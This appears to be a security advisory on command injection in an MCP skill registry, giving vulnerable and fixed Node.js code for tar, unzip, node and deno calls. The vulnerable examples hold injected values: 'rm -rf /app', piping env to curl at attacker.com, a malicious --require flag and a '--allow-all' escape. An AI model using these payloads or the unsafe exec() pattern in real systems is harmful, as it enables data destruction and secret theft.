SA-SKL-INJECTION28 — Code Injection

Code Injection in MCP Skill Registry Skill Archive Extraction and Sandboxed Evaluation Endpoints

Archive extraction and sandboxed evaluation are unavoidable operations in a skill registry that processes user-uploaded code. When the paths and arguments passed to tar, unzip, node, and deno are assembled via string interpolation inside exec(), every attacker-controlled path component becomes a shell injection vector. SA-SKL-INJECTION28 documents four patterns — two in archive extraction and two in sandboxed execution — where the absence of execFile() and input validation leads to code execution outside any sandbox boundary.

SA-SKL-INJECTION28 findings
CRITICALINJECTION28-001 — exec(`tar xf ${archivePath} -C ${extractDir}`) — attacker archivePath with ; rm -rf /app achieves destructive injection; fix: execFile() arg array; validate archivePath against /^[a-z0-9_\-\/]{1,300}$/; realpathSync containment
CRITICALINJECTION28-002 — exec(`unzip ${zipPath} -d ${outputDir}`) — attacker zipPath with ; env exfiltrates all env vars; fix: execFile() array; validate both paths; realpathSync containment
CRITICALINJECTION28-003 — exec(`node --experimental-vm-modules ${entryScript}`) — attacker entryScript with space-injected --require=/path/to/malicious.js loads attacker module before sandbox; fix: execFile() array; validate entryScript against SANDBOX_BASE; --no-addons
CRITICALINJECTION28-004 — exec(`deno run --allow-net=${allowedHosts} ${scriptPath}`) — attacker scriptPath with ; deno run --allow-all /app/secrets achieves full permission bypass; fix: execFile() array; validate scriptPath; Deno permissions as array elements

INJECTION28-001 — exec(tar xf archivePath) shell injection via archivePath

The archive extraction handler receives the path to an uploaded .tar.gz file from the request and constructs a shell command to extract it. Passing the path as part of a template literal inside exec() gives the shell a chance to interpret any metacharacter in the path. An attacker who uploads a file with a name containing ; rm -rf /app and passes that name as the archivePath query parameter causes the Node.js process to execute both tar xf ... and rm -rf /app as shell commands, destroying the application directory.

Vulnerable
// INJECTION28-001 — VULNERABLE
// exec() with template literal — archivePath shell injection.

const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function extractArchive(archivePath, extractDir) {
  // VULNERABLE: shell metacharacters in archivePath or extractDir execute as commands
  await execAsync(`tar xf ${archivePath} -C ${extractDir}`);
}
// Attacker: archivePath = "/uploads/skill.tar.gz; rm -rf /app"
// Shell executes: tar xf /uploads/skill.tar.gz && rm -rf /app
Fixed
// INJECTION28-001 — FIXED
// 1. execFile() with argument array — no shell, no interpolation.
// 2. Validate archivePath and extractDir against regex and realpathSync.
// 3. PATH_REGEX rejects all metacharacters.

const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
const path = require('path');
const fs = require('fs');

const PATH_REGEX = /^[a-z0-9_\-\/\.]{1,300}$/i;
const UPLOADS_BASE = fs.realpathSync('/app/uploads');
const EXTRACT_BASE = fs.realpathSync('/app/sandbox/extract');

async function extractArchive(archivePath, extractDir) {
  if (!PATH_REGEX.test(archivePath) || !PATH_REGEX.test(extractDir))
    throw new Error('extractArchive: invalid path characters');

  const realArchive = fs.realpathSync(path.resolve(UPLOADS_BASE, path.basename(archivePath)));
  const realExtract = fs.realpathSync(path.resolve(EXTRACT_BASE, path.basename(extractDir)));

  if (!realArchive.startsWith(UPLOADS_BASE) || !realExtract.startsWith(EXTRACT_BASE))
    throw new Error('extractArchive: path outside sandbox');

  // execFile with array — no shell invocation
  await execFileAsync('tar', ['xf', realArchive, '-C', realExtract], {
    timeout: 30000,
    env: { PATH: '/usr/bin:/bin' }, // minimal env
  });
}

INJECTION28-002 — exec(unzip zipPath -d outputDir) shell injection via zipPath

ZIP archive extraction uses the same exec() template-literal pattern. An attacker who controls the zipPath value can inject ; env to exfiltrate all environment variables — including DATABASE_URL, AWS_SECRET_ACCESS_KEY, and ANTHROPIC_API_KEY — to an attacker-controlled server via a piped curl payload.

Vulnerable
// INJECTION28-002 — VULNERABLE
// exec(unzip zipPath -d outputDir) — zipPath or outputDir shell injection.

async function extractZip(zipPath, outputDir) {
  await execAsync(`unzip ${zipPath} -d ${outputDir}`); // VULNERABLE
  // Attacker: zipPath = "skill.zip; env | curl -d @- https://attacker.com"
}
Fixed
// INJECTION28-002 — FIXED
// execFile() array; both paths validated and realpathSync-contained.

async function extractZip(zipPath, outputDir) {
  if (!PATH_REGEX.test(zipPath) || !PATH_REGEX.test(outputDir))
    throw new Error('extractZip: invalid path characters');

  const realZip = fs.realpathSync(path.resolve(UPLOADS_BASE, path.basename(zipPath)));
  const realOut = path.resolve(EXTRACT_BASE, path.basename(outputDir));
  fs.mkdirSync(realOut, { recursive: true });
  const realOutResolved = fs.realpathSync(realOut);

  if (!realZip.startsWith(UPLOADS_BASE) || !realOutResolved.startsWith(EXTRACT_BASE))
    throw new Error('extractZip: path outside sandbox');

  await execFileAsync('unzip', ['-o', realZip, '-d', realOutResolved], {
    timeout: 30000, env: { PATH: '/usr/bin:/bin' },
  });
}

INJECTION28-003 — Node --experimental-vm-modules entryScript --require flag injection

The sandboxed skill evaluation runner passes the entry script path as part of an exec() template literal. Because Node.js flags are parsed before the script path, an attacker can inject --require=/attacker/malicious.js script.mjs as the entryScript value, causing Node to load the attacker’s module before entering the VM sandbox. The injected module runs with full Node.js permissions, before any sandbox restrictions are applied.

Vulnerable
// INJECTION28-003 — VULNERABLE
// exec(node --experimental-vm-modules entryScript) — flag injection via entryScript.

async function runSandboxed(entryScript) {
  // VULNERABLE: space in entryScript injects flags before script path
  const { stdout } = await execAsync(
    `node --experimental-vm-modules ${entryScript}`,
    { timeout: 15000 }
  );
  // Attacker: entryScript = "--require=/tmp/malicious.js /sandbox/skill.mjs"
  // Node loads /tmp/malicious.js with full permissions before the VM sandbox
  return stdout;
}
Fixed
// INJECTION28-003 — FIXED
// execFile() array; entryScript validated and sandbox-contained; --no-addons.

const SANDBOX_BASE = fs.realpathSync('/app/sandbox/skills');

async function runSandboxed(entryScript) {
  if (!PATH_REGEX.test(entryScript))
    throw new Error('runSandboxed: invalid entryScript characters');

  const realScript = fs.realpathSync(path.resolve(SANDBOX_BASE, path.basename(entryScript)));
  if (!realScript.startsWith(SANDBOX_BASE))
    throw new Error('runSandboxed: entryScript outside sandbox base');

  const { stdout } = await execFileAsync('node', [
    '--experimental-vm-modules',
    '--no-addons',           // disables native addons — prevents require() of .node files
    '--disallow-code-generation-from-strings', // blocks eval() inside sandboxed module
    realScript,              // script path is a separate array element — no flag injection
  ], {
    timeout: 15000,
    env: { PATH: '/usr/bin:/bin', NODE_PATH: SANDBOX_BASE }, // stripped env
    cwd: SANDBOX_BASE,
  });
  return stdout;
}

INJECTION28-004 — Deno run scriptPath permission bypass via ; deno run --allow-all injection

The Deno-based sandbox runner constructs its shell command by interpolating allowedHosts and scriptPath into a template literal. An attacker who controls scriptPath can append ; deno run --allow-all /app/server.ts to escape the restricted permission set entirely and execute the main application server entry point — or any other Deno script on the filesystem — with full permissions, outside the original sandbox invocation.

Vulnerable
// INJECTION28-004 — VULNERABLE
// exec(deno run --allow-net=hosts scriptPath) — ; injection escapes permission set.

async function runDenoSandbox(scriptPath, allowedHosts) {
  await execAsync(
    `deno run --allow-net=${allowedHosts} ${scriptPath}` // VULNERABLE
  );
  // Attacker: scriptPath = "skill.ts; deno run --allow-all /app/server.ts"
  // Deno runs attacker script with --allow-all after the semicolon
}
Fixed
// INJECTION28-004 — FIXED
// execFile() array; Deno permission flags passed as separate array elements.

async function runDenoSandbox(scriptPath, allowedHosts) {
  if (!PATH_REGEX.test(scriptPath))
    throw new Error('runDenoSandbox: invalid scriptPath characters');

  const realScript = fs.realpathSync(path.resolve(SANDBOX_BASE, path.basename(scriptPath)));
  if (!realScript.startsWith(SANDBOX_BASE))
    throw new Error('runDenoSandbox: scriptPath outside sandbox base');

  // Validate allowedHosts — only public hostnames, no internal IPs
  const hosts = String(allowedHosts).split(',')
    .filter(h => /^[a-z0-9\.\-]{1,253}$/.test(h) && !h.match(/^(10\.|172\.|192\.168\.|127\.|169\.)/))
    .join(',');

  // execFile() array — ; in scriptPath or allowedHosts cannot inject shell commands
  await execFileAsync('deno', [
    'run',
    `--allow-net=${hosts}`,  // permission flag as single array element
    '--no-prompt',
    '--deny-read',           // deny filesystem reads outside cwd
    '--deny-write',          // deny filesystem writes
    '--deny-env',            // deny environment variable access
    realScript,              // script as separate element — flag injection impossible
  ], {
    timeout: 15000,
    env: { DENO_NO_UPDATE_CHECK: '1', PATH: '/usr/local/bin:/usr/bin:/bin' },
    cwd: SANDBOX_BASE,
  });
}

The rule for subprocess invocations in skill registries: Any invocation of an external binary (tar, unzip, node, deno, python) must use execFile() or spawn() with an argument array, never exec() with a template literal. The argument array is passed directly to execve() without shell interpretation — metacharacters, flags, and semicolons in argument values are treated as literal strings. realpathSync containment prevents the validated path from being bypassed via symlinks. The combination eliminates both shell injection and path traversal in a single fix.

Related findings